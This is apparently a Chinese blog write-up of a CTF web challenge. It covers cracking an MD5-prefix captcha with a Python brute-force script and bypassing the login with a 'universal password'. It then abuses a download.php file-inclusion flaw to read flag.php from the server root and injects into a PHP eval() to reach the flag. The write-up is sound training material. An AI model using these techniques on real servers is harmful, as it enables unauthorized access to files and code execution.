CTF-06

題目說明:get flag


1.打開鏈接,頁面如下
這裏寫圖片描述
2.點擊Login,頁面如下,是個登陸頁面,有一個加密的驗證碼,驗證碼爲對其進行md5加密後取前六位等於頁面給定的這個字符串
這裏寫圖片描述
3.編寫python腳本,跑驗證碼

import hashlib

def md5(str):
    m = hashlib.md5()
    m.update(str)
    q = m.hexdigest()
    return q
arr = '0123456789abcdefghijklmnopqrstuvwxyz'
for a in arr:
    for b in arr:
        for c in arr:
            for d in arr:
                for e in arr:
                    if md5(a+b+c+d+e)[:6]=='eaf1fd':
                        print a+b+c+d+e

4.嘗試萬能密碼登陸
這裏寫圖片描述
5.登陸成功後,發現有三個文件可以下載,下載下來看看
這裏寫圖片描述
6.
hello.txt內容:test
s.txt內容:yah~~what r u doing?
a.php內容:<?php echo "Do what you want to do, web dog, flag is in the web root dir"; ?>
得知flag在網站跟目錄
7.查看登陸後頁面的源碼,發現這三個文件是通過文件包含下載下來的
文件包含路徑爲./file/download.php?f=
這裏寫圖片描述
8.通過文件包含下載flag文件
106.75.26.211:2222/file/download.php?f=/var/www/html/flag.php
打開後是flag.php的源碼

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>

9.通過代碼審計得知給flag.php傳入參數?flag=flag;即可獲得helloctf.php的內容。
因爲執行了一個eval()函數,要在代碼末尾添加分號來結束一行代碼,所以傳入參數要帶一個分號,進過eval()函數後分號被去掉。
10.查看源碼,get flag!
這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章